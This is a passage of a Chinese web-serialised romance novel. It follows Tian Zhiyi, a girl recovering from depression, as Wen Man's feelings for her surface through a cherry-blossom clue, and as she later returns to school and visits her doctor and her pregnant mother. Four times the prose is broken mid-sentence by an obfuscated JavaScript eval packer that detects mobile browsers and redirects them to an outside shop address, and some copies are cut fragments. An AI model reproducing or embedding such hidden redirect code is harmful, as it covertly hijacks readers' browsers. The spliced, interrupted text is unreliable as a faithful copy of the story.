……可能是在说她不懂他不想喊姐的心思。 “半大小子最难懂,过会儿他自个就好了,我们吃我们的。” 章成绢出声打断了她的思绪。 见人家亲妈这么说,田知意也放下心来,端起碗来尝了一口羊汤。 胡椒粉点燃了味蕾,羊肉的鲜香趁势而上,随后才逐渐品出些药材的味道。 仅这一口,便尝出了如此丰富的滋味。 纵然早已了解章成绢的厨艺,也仍止不住钦佩之心。 炖汤的羊肉做成了白切的端上桌自成一道菜,田知意记着下午见到的羊软骨,下筷子夹了一块带骨的。 羊肉软烂却不松散,配上章成绢手调的辣椒酱,惹火的鲜香穿透鼻尖与舌尖,就连胃都仿佛浸在一片阳光里,温暖而芬芳。 ……好吃。 所有的不快都烟消云散,田知意的心里被餍足的喜悦填得满满。 闻漫吃完饭就上楼了,田知意帮章成绢收拾了碗筷。 她还是有些担心闻漫的状态,悄声问章成绢:“他没事吧?” “要不你去问问他吧。”章成绢提议,“你们年纪差不多大,他可能更愿意跟你说点什么。” 田知意觉得有理,听了她的话上楼了。 二楼静悄悄的,堂屋的灯亮着,打印机和笔记本电脑也开着,但是没有人。 田知意起初以为闻漫在房间里,可敲了许久的门也不见有人来开。 即便是刚才当面闹别扭的时候闻漫也没有不理她,此时更没道理晾着她。 ……或许也不在房间里呢。 她回头时,透过推拉玻璃门,刚好看到落在阳台上的微黄光亮。 ……书房有人。 田知意轻轻拉开玻璃门,发现书房的门虚掩着。 她敲了敲门。 闻漫来开了。 田知意微微侧身,看向他身后的书架。书架前有张小矮凳,矮凳上倒扣着本书,不难想象他刚才坐在书架前的情景。 “在看什么?”田知意问。 “随便看看,年前从同学那里借来的。”闻漫重新坐回小矮凳上,“心里烦的时候会这样坐着看看书。” 田知意反骑着靠背椅,伏在椅背上,凑近终于看清了书名。 《绽放:第二十一届新概念作文获奖者作品精选(A卷)》。 “女生借你的?”田知意笑着问他。 闻漫没有说话,算是默认了。 “这本我倒是没买过。”田知意伸出手,“给我看看。” 闻漫抵着在看的位置,把书递了给她。 田知意的目光落在了整页唯一划线的句子上: 满目河山空念远,不如怜取眼前人。 “你刚一会儿看到这里了?”田知意捏着厚厚的书页,“倒看得挺快。” “这页夹了张书签,一翻就翻到了,就看了这篇,前面的还没看过。” “原来是这样。”田知意轻轻“哦”了声,低声感慨,“她喜欢你吧。” 闻漫没听懂:“谁?你说谁?” “借书给你的那个女生。”田知意盯着闻漫的眼睛,“是不是个子不高、皮肤很白、留着齐耳短发的那个?” 闻漫一惊:“你从哪里知道她的?” 田知意沉默片刻:“我答应过她不说的。” “好吧,那我不问了。” 闻漫垂眼,心下已然猜到几分,只是没法开口去验证。 “你打算怎么办?”田知意脑袋靠着椅背,荡了一只胳膊下来,“少女心最是脆弱。” “我以前没想过这事。况且……我有喜欢的人了。” “谁?”田知意下意识地坐直,惊异的双眼瞪得溜圆。 话 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14137319|147430||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说出口,她才后知后觉自己好像太过激动。 要掩饰已然来不及,闻漫已经抬眼看她,脸上的神情一秒雨过天晴。 他站起身,从田知意手中拿走书,凑近盯着她。 田知意也望着他,像是奥运会看到金牌点时,紧张地屏住呼吸。 “你猜。” 简单的两个字从他舌尖轻巧地弹过,如他此时的心情一般,莫名地雀跃。 田知意还没反应过来,就见他已经把书放回书架:“线索就在这间书房里,如果你真想知道,就在这里找找。” “那你呢?” “我去堂屋打印明天上课用的讲义。” 闻漫说着,边走边带上了书房的门。 书房里一下恢复了寂静。 田知意盯着房门呆呆地看了几秒,慢慢反应过来自己好像被闻漫耍了。 这个书房里能有什么线索?谁又会把线索藏在谁都能进的书房里? 至少也该藏在自己的卧室吧? 田知意倾向于这可能是闻漫的恶作剧。 藏一个像情书一样的模棱两可的信封,等人满怀好奇地打开时,才发现里面写着类似“我的恋人是这个国家”这样的话。 ……《零的执行人》就是这样的套路观众的。 她想直接甩手离开书房,又觉得经过堂屋时不知道该怎么跟闻漫解释。 难不成要说“我才无所谓你喜欢谁”吗? 这怎么……说得出口。 她不但很好奇他喜欢谁,甚至是在得知闻漫喜欢的不是那位短发女生时,还生出了些隐秘的期待。 ……他会不会有点喜欢我呢? 哪怕知道大概率是恶作剧,但只要还有一线希望,田知意也不由地想去探寻。 揣着这样的心思,她走到书架前,找到闻漫刚刚在看的《绽放》。 ……短短的时间也藏不了什么线索,最简单的方式就是在书上留下线索。 伸手取书时,田知意发现闻漫把书塞在了这排的最边缘,旁边的书是本剪纸书。 她往后退了退,把整排书看全。 ……果然全是些手工类的书。 上次她来书房时就发现书架上的书虽然繁杂却不乱,分门别类排布得井井有条。 ……闻漫为什么要把作文书放在手工书边上? 鬼使神差地,田知意取下了那本手工书,发现是本花朵剪纸教程,每一课对应的是自然界的一种花,课程的最末会介绍该种花的花语。 ……等等,花语? 田知意像是想到了什么,快速翻到目录,果然看到了熟悉的花名: 重瓣樱花。 她记得闻漫送她的樱花标本也写了花语。 ……好像是文静、纯洁。 在这本书上会有什么不一样吗? 她的心脏不受控制地快跳起来,渗出汗的双手一次次黏住书页,将想探寻的真相锁在紧张的心绪里。 田知意在心里暗骂了句自己没用,深吸口气再继续翻书,终于看到了那段令她近乡情怯的字: “重瓣樱花花色娇柔,宛如一个文静的少女一样在春季自由开放,寓意着一种文静……” 她愈看呼吸愈急促,终于在看到最后一句时愣在了原地。 “……一般送于送于心仪的对象,是对对方最高的爱意表达。” 39. 梦成 田知意愣怔了好久,才缓缓放下书。 在收到重瓣樱花标本时,她就曾憧憬过这枚标本能有点特殊的含义。 但那只是个不太抱希望的小小憧憬,她太清楚这个年纪的直男在感情上的迟钝,既不奢望闻漫能有那些浪漫的弯弯绕,也不敢奢求他的喜欢。 ……只是没想到,这一切都是成了真。 梦境突然照进现实,就像雾里看花,总有一瞬疑心是幻是真的恍惚。 现在……该怎么办? 田知意在心里问自己。 她不是没有预想过得知闻漫喜欢自己的情景。 她想过自己会心跳不已,想过自己会努力收拾好激动的心情装出一派泰然来回应他,甚至想过自己会直接扑进他怀里,一句话都不说。 唯独没想过自己会像此时般手足无措。 她的爱恋像是刚吹出的肥皂泡泡,只有在阳光下才会折射出夺目的光。 曾经的她以为闻漫的回应是她需要的阳光,此时才知她需要的不过是阳光的些许的照射,一旦面对真实的太阳只会迎来破灭。 她回应不了阳光的温暖,甚至连享受都做不到。 只身在阴暗的角落,能一直偷偷地看着,就算是恒久的幸福了。 田知意把剪纸书放回书架,拎着《绽放》走出了书房。 玻璃移门关得紧紧,田知意单手不方便推,只摩擦出“咚咚”的声响。 闻漫正在堂屋预习明天的课程,听到她开门的响动,立即过来帮忙。 田知意停了手,隔着玻璃与他四目相对。 外面暗,屋里亮,田知意能清楚地看见闻漫,闻漫却看不清她。 门外的她藏在隐隐戳戳的影子里,仿佛一团将被揉碎的梦。 闻漫凑近移门,碰散了室内灯火照在玻璃上的浮影,手掌贴在她的脸所在的位置,却在触到一片冰凉时陡然清醒。 他与她的影子重叠在一起,他与她之前却隔着一层结实的障壁。 闻漫迅速握上门把,拉开移门:“这门在外面开不太方便。” 他用话语来掩饰尴尬。 田知意点点头,说了声“是啊”算作认可了他的话。 她在堂屋找到位置坐下,刚好落座在闻漫对面。 闻漫看着她手里的《绽放》,吃不准她的来意,只试探着问:“怎么把书拿过来了?” 他不敢问田知意有没有发现,怕她没发现,更怕她发现了。 田知意把书递给他:“我找到线索了。” 闻漫心底一颤。 她什么都知道了……可她的反应为什么平静得甚至有些冰凉? 犹豫片刻,闻漫还是选择问出口:“打算拒绝吗?” 他是硬着头皮问的,抱定了“死也要做个明白鬼”的觉悟。 田知意摇头:“不打算。” 闻漫松了口气,起码不是最坏的结局。 但她毫无喜色的表情完全不像是会说“我愿意”的样子。 他不敢出声,便只能沉默着。气氛愈发凝重,仿佛是随时会落下雨的天。 “我不能在现在这样的状态下回应你。”不知过了多久,田知意打破了沉默,“我还在吃药呢。” “还在吗?”闻漫声音颤抖着问。 初见时,她状态糟糕得像一具人偶,也在他面前吃过药片。 当时他心下有些猜测,但她不提他也不方便问。后来她愈发好转,也没再在他面前拿出过药来,他便没再放在心上。 不成想,她竟一直没有停药。 “我不介意”这几个字在他的舌尖大了好几圈的转,最终也没有说出口。 不是他心中介怀,只是觉得这不是田知意爱听的回答。 “我明白了。”闻漫垂下眼,小声补充,“其实没关系的。” “18岁的闻漫觉得没关系,28岁的闻漫还会这么想吗?况且……”田知意无力地笑笑,“我要的也不是没关系。” “28岁的我……”闻漫无奈地捂住脸,“这……我没法回答。” 他想为未来许下承诺,又怕那时的他让现在的自己失望。 “忘记我病过。”田知意说,“等痊愈的田知意站在你面前时,如果你还喜欢的话,再热情地回应她的期待,好不好?” “我觉得那天不会太久。”闻漫看着她的眼睛,“我很久没觉得你病着了。” “谢谢。” 田知意别开眼,她的心绪有些起伏。 一旦说出了心里话,她的感情就像移去了最后一块阻碍的巨石,在心房里横冲直撞,只是碍于现实不得不强行按捺住。 她不敢再看闻漫一眼,生怕情绪冲散了理智,教刚刚的话不得不作废。 “我会等你的。但在此之前,你能先接受我对现在的你的喜欢吗?” 这话有些绕口,田知意费了好大的劲才理解。 她红了红脸,垂下眼回过头来。迟疑片刻,她慢慢起身,走到闻漫跟前,缓缓地展开双臂。 “我现在……只能先抱抱你。” 她的声音哑哑的,像是风拂过树叶发出的沙沙声。 闻漫站起身,回应她的拥抱。 他侧着脸,耳畔与她相贴,紧紧搂着她的肩胛,仿佛抱着一只柔软的洋娃娃的。他的臂膀又是那样小心翼翼地松弛着,生怕弄痛了她半点。 田知意原以为他会吻她,或者会有偷吻的动作,在她了解过的故事里,男生都是这样的。 但他没有,只很单纯地抱着她。 这教她不由得想起在《小王子》里看到的句子: “我很激动,就好像抱着一个脆弱的宝贝,就好像在地球上没有比这更脆弱的了……” 她微微垂下头。 至少她现在还能这样表达。 这一晚,田知意睡得很安稳,早上闹钟醒时,还有片刻的恍惚,像是神魂流连梦里不曾归来。 直到裤子上的异常让她心里一惊。 她瞥了眼床单,果然看到了斑斑点点的血迹。 田知意的例假向来不准,但来前总会有这儿酸那儿疼的,而且量也不会太大,因而从未出过岔子。 谁知道这次毫无征兆地来了,而且来势汹涌却没有半点疼痛,田知意不知该喜还是该忧,只知道她该洗床单了。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14149780|147430||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 所幸她只弄脏了床单,褥子还是干净的,把床单扔进洗衣机里也不算特别艰难的活计。 田知意私心不想为了这么点事麻烦章成绢,更不想让闻漫知道。她搬了张板凳坐在洗衣机边上,打算洗衣机一停止工作就把床单取出来晾上,说不定干了晚上还能继续睡。 她以为自己做得隐蔽,但还是在取床单的时候被章成绢看到了:“床单怎么洗了?” “我那个突然来了……弄脏了。”田知意把床单展了展,“洗得及时已经很干净了,我马上去晾……” “你别……”章成绢出声阻止她,“我等下去晾。” 田知意不明所以,以为章成绢是怕她累到了:“没事的,床单很轻的,我拿得动。” “不是重,是凉。”章成绢抢在她之前那过床单,“小姑娘这几天要好好养着,别碰凉水。” “凉水也不可以碰吗?” 田知意有些震惊,以往她从没在意过这些,也不知道痛得死去活来和这有没有关系。 “最好不要,非要洗东西的话最好戴上手套。” 章成绢晾好床单,又去厨房里捣鼓了一阵,给她端来了杯热茶:“你慢慢地把这杯喝完,站着活动活动或者躺一会儿都可以,这么坐着会不舒服的。” 杯子里飘着玫瑰花、枸杞和红枣,一看就是为她专门泡的。 茶有些烫嘴,杯子倒是温暖,田知意干脆捧着杯子捂手,站在院子里晒太阳。 如今的她,穿着宽松的棉衣,蹬着手工钩针棉鞋,梳着松松垮垮的辫子,甩脱了在母亲身边养成的精致模样,灵魂倒跟着这份随意自由起来。 ……绝对不能让母亲看到自己现在这副打扮。 田知意这么想着,兀自笑了起来。 她边喝茶边想心事,过了好一会儿才后知后觉意识到这日屋里太过安静。 ……好像没听到闻漫的声音。 “阿姨,闻漫去哪儿了?” 田知意有些不安地问,生怕闻漫因为昨天的事心里不自在。 “他一早就出去了,说是要买菜,把我电动车都骑走了。”章成绢想想又觉得不对,“这么久了也不知道买菜买哪里去了。” “能买到哪里去?这不是回来了嘛。” 说话间,闻漫骑着车进了门。 他从后备箱里取出一袋排骨拎到厨房里:“让那边剁肉花了些时间。” “家里自己也能剁,多花那个时间。” “这不怕您累着嘛。”闻漫边说边走出厨房,看到田知意与她打招呼,“早啊。昨晚睡得好吗?” “还不错。”田知意看着他,“去过镇上的驿站了吗?” 闻漫有几分惊讶:“你怎么知道?” 田知意指着他的口袋:“你刚戴了口罩。” “买菜也可以戴口罩啊。” “那你摘下来做什么呢?” 闻漫笑了笑:“真是瞒不过你,我把那本《绽放》寄回去了。” 田知意知道他的心思,只劝他:“倒也没必要这么着急……” “不。”闻漫坚定地摇头,“它不属于这里,不能再留了。” 40. 梦成 田知意低下头,心里有几分被他珍重的宽慰,又有几分物伤其类的感慨。 她和那位女生都是青睐闻漫的人,不过闻漫只有一个,注定不可能令两人都满意。 田知意想了想,问闻漫:“你怎么跟她说的?” “我跟她说书看完了,早点寄给她,她好继续看。” “她是怎么说的呢?” “她说书里夹了东西,问我有没有看到。” 田知意下意识地呼吸一紧。 果然……问到关键问题了。 “你怎么回答的?”田知意几乎是脱口而出。 “我说她的书签歪了,给夹回原位了。她没再说什么,跟我说了句‘谢谢’。” 田知意能想象对方是以什么样的心情说出那句“谢谢”的,她想如果是她的话,是很难有这份宽仁的胸襟的。 良久,田知意才出声感叹:“她好棒。” 闻漫疑惑地看着她,好一会儿才意识到她指的是什么。 “你啊,倒是人如其名。”闻漫看着她,眼里几分怜惜、几分无奈,“知人心,解人意。” 在闻漫家的日子过得飞快,田知意住了两个月终于收到了3月底开学的通知。 此前,她参加了线上百日誓师大会。 比起往年整个年级挤在一起闹闹嚷嚷的宣誓,她反倒更喜欢一个人的宣誓。 没有人声的干扰,她的声音能清清楚楚地传进自己的耳朵里,更像是宣誓给自己听的。 这两个月来,她比以往任何时候都要关注自己。 气温在转暖,万物在复苏,一个冬天没有社交的人们重新开始联络。 闻漫的堂姐来串过一次门,看到坐在屋外晒太阳的田知意,捏了捏她的脸:“你比上次见到的时候能挂住点肉了。” 田知意也跟着揉了揉脸颊,确实要圆上许多。 “我现在这样好看吗?”她笑着问闻姐。 闻姐一愣,随即也跟着笑起来:“好看,俏生生的,好看。” 当然。田知意想着,看了看自己的手掌。 大拇指根部的深青色逐渐被樱花色取代,她已经有两次来月事没疼过了。 她依稀记得自己曾经羡慕过闻漫手掌的颜色。 现在她也等来了这份健康。 田知意不敢继续放任自己“吃了学习,学习了吃”,怕等到开学胖得没了形状,便在课余抽时间让自己活动活动。 章成绢花在农活上的时间渐长,田知意便也跟着去田里。章成绢不要她干活,她就在田埂上溜达。 起初她在田埂上走不平稳,尤其是一夜过后的青苔地,回回都教她打滑。 时间久了,她逐渐适应了凹凸不平的田地,能小跑着给章成绢送水。 邻家的人不认识她,笑着问章成绢什么时候多了个女儿。 章成绢不正面回答,只笑着感慨:“要真有这么个贴心女儿就好了。” 菜地里的菜长好了,田知意就跟着闻漫去摘菜。 她不会,蹲在菜边上硬拔。 闻漫看了,也蹲下来,轻轻按住她的手阻止她,教她从菜根部往上三四公分的位置掐叶片,告诉她掐哪些留哪些。 后来她就自己拿着菜篮子自己来摘蔬菜,摘完放到水池里浸泡起来再去读书,家里吃什么蔬菜由她说了算。 章成绢早晚各打一次八段锦,田知意也跟着学。先是照猫画虎地跟着比划,慢慢地也逐渐感觉到气息在经络里流动。 她将这份气力用在更远的溜达上,从村东逛到村西,自然的风光无论看多少次也不会厌烦。 有次她走过个路口,发现路边的树有些眼熟。走近细看才发现竟是闻漫提过的那棵很像“未”字的树。 但它现在已经被好好地剪过了枝,新的柔嫩的枝条正从断截面抽出,枝干冒出了细细的浅绿的叶芽,焕然一新的模样,一点也不像闻漫说的“死於未”了。 田知意感觉自己也像这棵树一样,迈过了草木零落的寒冬,剪除过往承重的负担,正焕发出新的生机。 闻漫的父亲从武汉平安回来后,给他们带了很多见闻。 他本就是个幽默的乐观的人,讲的故事也多是行程中的糗事趣事。 田知意从中捕捉到些许苦中作乐的意味,听着只觉得心酸。她不好当众问出扫了大家的兴致,只能趁堂屋只有他俩的时候问:“闻叔,你觉得跑这一趟,苦吗?” 闻父有些意外她会这么问,但还是认真地回答了她:“这是必须要去做的事,没必要去考虑苦不苦。” 田知意没有说话,似乎在思考这句话的含义。 闻父又换了个说法:“难道因为苦就不去了吗?” 田知意红了脸:“对不起,是我想逃避。” “没有什么值得道歉的。”闻父劝慰她,“逃避看起来简单,但要说服自己逃避还心安理得却是最难,不如去面对。” 田知意别开眼,目光落在刚好走出厨房的闻漫身上。 她若有所思地低下头,刚好被闻漫捕捉到她的目光:“你们在说什么?” “能说什么?”闻父点了点闻漫的额头,“讲点武汉的事。” 说着,他起身回房间:“我走了,你们聊。” 待房门关紧,闻漫才坐到田知意身边,低声问她:“我爸说话直接,没说什么让你不痛快的话吧?” “没有。我们聊得很愉快。”田知意摇头,“但我可能要先去跟我父母通个电话了。” 闻漫不方便跟着,只能目送她上楼。 田知意躲进房间里才给母亲打了个语音通话。 母亲的声音很疲惫,孕晚期把她折磨得不轻:“怎么了?” “没事。”田知意平静地答,“日常问候。” 她听到母亲轻声笑了笑:“想家了吗?” 田知意确实有想到过家的时候,只一想到父亲可能说出来的话,和高龄怀孕的母亲,立马什么都不敢想了。 但她知道母亲听不得这样话,便只软了软语气:“还是想的。” “我就知道。”母亲笑得很自信,“金窝银窝也不如自己家的狗窝。” 田知意觉得母亲真是孕糊涂了,以往她是万万不可能拿狗窝形容自己家的。 可是跟孕妇有什么好讲的呢。 田知意咬咬牙,将心里的吐槽强压下去,主动问候母亲:“最近过得还好吗?去医院检查还方便吗?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14162250|147430||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这一问打开了母亲的话匣子,她接连不断地讲起了医院特殊时期的管控措施和她每次去医院产检的心惊胆战。 田知意松了口气,知道自己的问题问对了。 母亲在说话的时候,她是插不上话,只要是不是“嗯”上几句,表示自己在认真听就行了。 她能空出时间走个神,不用全神贯注地应对。 许是发泄了太多负能量,母亲的情绪愈发低落,她向田知意抱怨:“我都不知道我那么辛苦图什么。” 田知意发现话题走向不对,连忙想办法调整:“检查出来结果好吗?” 提到产检结果,母亲总算能提起些劲:“那倒还蛮好的。” “那不是挺好吗?”田知意试图安抚她,“身体健康是最好的。” ……难道产检苦这个孩子就不生了吗? 田知意在心里想,但她知道这又是一句不能说出来的话。 所幸她已经能平静地对待母亲的诉苦。 母亲被她强行岔开话题,也逐渐冷静下来:“是啊,再过段时间就要生了,希望能平平安安健健康康的。” “会的。”田知意又说了几句祝福的话,主动提出结束通话,“我要去读书了。” “去吧。” 挂断通话,田知意彻底放下心来。 这次母亲讲得很高兴,没有把父亲喊来与她对话,她应对得还算游刃有余。 时间一晃到了开学前,田知意换上了自己来时的衣服,把章成绢给她的衣服洗干净晒干还给她。 章成绢提出送给她。田知意迟疑片刻,没有收衣服,收下了她做的那双鞋。 田知意提出要再补给章成绢一个月的食宿费,章成绢怎么也不愿意接受:“我这里毕竟不是学生公寓。况且你也帮我做了很多事,不是白吃白住的。” “但我学到了很多东西。”田知意很坚持,“就算是学费也得多交一些。” “都是没什么大不了的事。而且你愿意学,我也情愿教……” 见她们各执己见,闻叔出来打圆场:“要不这样,钱我们就不收了。大家认识一场也是缘分,就当认了门亲戚,我们长辈多照顾着点晚辈也是应该的。” 田知意知道不好再推拒他们的好意,只得不再坚持。 章成绢也顺着话头问:“你还有什么需要阿姨做的吗?” 田知意想了想,还真想出件未了的心愿:“我想梳麻花辫。” 刚来时,她的头发又软又少拢起来都困难,如今长出了不少绒绒的新发,想来可以挑战一下了。 章成绢一双巧手,很快帮她编了一对三股低麻花辫。 蓬松的发丝完美地掩饰了她头型的不足,等她出现在闻漫面前时,他的眼睛亮了亮,随即一言不发地跑了出去。 再回来时,他的手里多了一支海棠花。 “我看到你就想到海棠。”闻漫说,“著雨胭脂点点消,半开时节最妖娆。” 他伸手要给把花递给她,田知意却微微偏头,要他为她插上。 闻漫微怔,握着花枝的手勉力才能保持不抖。 田知意却轻笑着帮他把后两句诗补上: “谁家更有黄金屋,深锁东风贮阿娇。” 41. 梦成 开学前,田知意和闻漫一起坐着闻父的车回了公寓。 临行前,章成绢塞给田知意一个纸包:“这里面是我常给你泡的茶,你有空记得喝。” 纸包有些软,一捏就会留下细密的痕迹,像是绵绵的心意。 田知意心里一动,把纸包攥得更紧了。 她直到坐到车上才拆开,玫瑰的香味扑面而来,像是闯进了一片玫瑰花园。 她连忙把纸包扎紧,不让半点芬芳散走。 “什么味?好香。”闻漫作势凑过来要闻,被田知意轻轻推开。 “我还要喝的。”她小声说。 “知道你宝贝它的。”闻漫托腮看着她,“你现在跟刚认识的时候可大不一样了。” “我那时候……”田知意本想问是什么样,但还没等话完全出口,她就已经想起来了。 她记性向来不差,况且不过半年前的事,还不至于忘了。 “我那时候怪怪的。”她垂下眼,“也不知道你怎么想到要搭理我的。” “我嘛……” “你啊,”闻漫的话还没说完就被闻父插了句嘴,“看人家姑娘水灵就想认识呗。” “啊?”闻漫一时百口莫辩,“我……我……” “你什么你?你敢说人家不好看吗?”闻父故意逗他。 “好看当然好看的。”闻漫小声嘟哝,“但我不是那种见色起意的人啊。” “所以……是为什么呢?”田知意把话题带上了正轨,“为什么会在那时候请我喝茶呢?” 闻漫沉默片刻:“我只是觉得不能把那种状态的你一个人留在那里。” 一时的恻隐与不忍倒牵出一段缘分。 “幸好……”田知意喃喃着,“不然就没有然后了。” “假设可以有千万种,但结论只有一个。”闻漫想了想说。 田知意看了他一眼,浅笑出声。 她将目光投向窗外,轻轻地哼起歌来。 开学后,除了大家不约而同戴上的口罩,一切似乎与以前并无不同。 疫情像是头顶上时隐时现的乌云,在紧张的学习间隙断断续续听到些许消息,有通知有八卦,只是繁忙课业间的佐料。 田知意只顾埋头学习。 家里打来关心她的通话不多,她也没有心思去想家。借着疫情管控的由头,好几个休息日都没有回家。 父母与她各在一片凶险的战场,既然互相帮不上,就不要相互影响。 直到五一天气转暖,她再也躲不下去,不得不回家拿换季的衣服了。 距离母亲的预产期还有一个月,田知意不想去惊动家里,便自己坐车回了苏城,把行李寄存在车站,打车去了医院。 如今独来独往已经变得很熟练,偶然想起以前事事忐忑的自己,都觉得陌生。 “最近感觉怎么样?”医生边做检查边跟她寒暄,“记录还在做吗?” 田知意找出最近的一本情绪日记递给他。 医生快速地翻了翻:“你还去农村住了啊,看来效果挺不错的。接下来你可以慢慢减药量了,你按药方上的剂量服药,2-4周之后来复查。” 短短的一句医嘱在田知意心里掀起一阵不小的波澜。 她原以为自己离痊愈还有很长一段距离,没想到竟也等到了迈向康复的一天。 倒是印证了闻漫那句“不会太久”。 “我感觉我现在和以前不一样,是生病前的以前。”田知意问,“如果找不回那时的感觉,我也能算康复吗?” “你说的那时的状态指什么?” “我看以前的聊天记录,那时候的我性格是很开朗外向的,但我觉得我回不到那种开朗的状态了。” 医生思考片刻:“医学上判断你是否痊愈是有指标的。至于性格,可能是病情导致的,也可能是成长的变化,不能一概而论。” 田知意点点头,没有再问。 “哦对,你快高考了吧?”医生随口问了一句。 “高考推迟了,但也快了。” “这样。”医生想了想,对她露出了令人安心的微笑,“放轻松。” 田知意的神经像紧绷的皮筋一般,猝不及防地被人猛弹一把,晃晃荡荡了好久才平静下来,变得比之前松弛了些。 她心里一轻,也回了他一个微笑:“好。谢谢医生。” 复查完回家,田知意发现家里到处都乱糟糟,口罩、消毒水、婴儿的衣服、孕妇用品堆得到处都是。 母亲坐在床上,正在看宣传单。 田知意事先发过消息说要回来,母亲对她的出现并不意外:“回来啦?比想象的要晚。” “先去了趟医院。” 听到“医院”,母亲下意识地瞪大眼睛,在得到田知意“已经换过外衣外裤、喷过消毒水”的保证后,才放松下来:“去趟医院是不是很麻烦?” “还可以吧,听你说过医院现在的规定,提前做了准备。”田知意的目光落到母亲手里的宣传单上,“在看什么?” “在选月子中心。”母亲从宣传单里抬起头,“你看家里这个样子,不放心外人来来往往的,还是封闭的月子中心省心。” “离预产期不是还有一个月吗?” “现在找都晚了,很多人都是五六个月的时候订了。只不过那时候管得严,我不好到处跑了看看,现在订可贵了。” 母亲把宣传单推到田知意面前:“你帮我也挑一挑。有家是明星住过的,说风景很好,可以直接看湖景,但是在酒店里,不能随便活动。还有一家是独门独户的小院,可以下楼走走,但是产后修复和瑜伽课程不比前一家。” 田知意看了宣传单的报价,分28天、42天和56天的,一串零看得她心惊胆战。 “打算订多少天的?”她问。 “56天吧,适合高龄二胎产妇,恢复得能好些。” 田知意又看了眼价格,着实不便宜。 她听说因为疫情,家里的山庄关了好久,三月底才开始做生意,客流量也大不如从前,她很担心家里的经济状况。 “订那么贵的月子中心不要紧吗?”田知意把心里的疑虑问了出来,“听说今年生意不太好做。” “话是这么说。”母亲脸上没有半点忧色,“你还记得你杨伯伯吗?” 田知意记得去年和他家吃过饭。 “你爸当时抱了钱扔水里的心思投了他家的医疗器械厂,结果今年做口罩防护服都做疯了。”母亲边说边轻轻抚了抚小腹,“住持说这孩子是‘及时雨’,现在看来果真是有福气的。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14173042|147430||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 母亲说着,将瑯山山寺里住持说的话告诉了田知意。 田知意早就听过了一遍,并不很用心再去听。 亏她还以为父亲没和章成绢提住宿费是因为家里困难呢。 母亲腹中的孩子尚且不过个胚胎,就能被称为“有福气”。 那与父母相伴十八载的自己又算什么呢? 田知意心里不忿,面上却没有表露出来。 新生儿总是代表希望。 等待孩子出生就像在等待开奖,没开的彩票总是最好的,开了没中的就成了张废纸。 她在出生前也有过被当成希望的时刻,但不妨碍现在成了废纸。 偏偏这张废纸还不能丢掉,要好好存着,保持品相,找到接手的下家,换取下一个开奖的机会。 田知意为脑中一闪而过的想法感到胆寒,但又很快想明白世事本就如此,令人胆寒的是真相本身,而不是揭开真相。 整个五一田知意没呆几天就回了壶州,高考在即,学校连单休都不再给,只没在周六晚上排晚自习,留给学生打理个人卫生。 休息就像指尖的沙,越攥越攥不住。 田知意忙里偷闲还来不及,根本没时间再为家里的事伤神。 这晚,她整理完了错题,又刷了套题,等到看书时眼花了,才停下手中的笔。 只这一会儿的走神,她的思绪便飘回了她拎着《绽放》去想找闻漫的那晚。 那时的心情已然回想不起,只有隐隐加速的心跳暗示她这一切曾真实地发生过。 这段时间来,田知意只在上下学的时候和闻漫匆匆打个照面,对话也不过是“早”或“晚安”。 微信上也没有新的聊天记录,两人间像是一下被切断了联系。 开学前朝夕相处的两个月仿佛一场遥远的梦,光是想起都有些恍惚。 田知意甚至不能确定,他表露的喜欢是否真实。 或许年少的喜欢就是一阵琢磨不定的风,吹过了就过了,不会再有痕迹。 过了几日,是个周六。 田知意做完了两门作业,正是大课间休息时间。 她伸了个懒腰,打算出去走走,却听到外面闹闹嚷嚷的。 “怎么这么吵?”她问身边的同学。 “隔壁三中今天被借作考场了。”同学回答她,“问我们借了地方安置了个班。” 往年的社会考试会借中学做考场,但基本不会借三中。 但今年特殊,要求考生接触,每个考场考生人数大幅减少,考场的需求大幅上升,终于借到了三中头上。 田知意不解:“那其他学生呢?” “我听说普通班放回去了,只留了几个实验班上自习。他们学校不够,有个理科班借了我们的阅览室的那栋楼。” 田知意的注意力完全落在了“理科班”这几个字上。 ……会是闻漫在的班吗? 她有些想去确认,又不可能无缘无故地跑阅览室去。 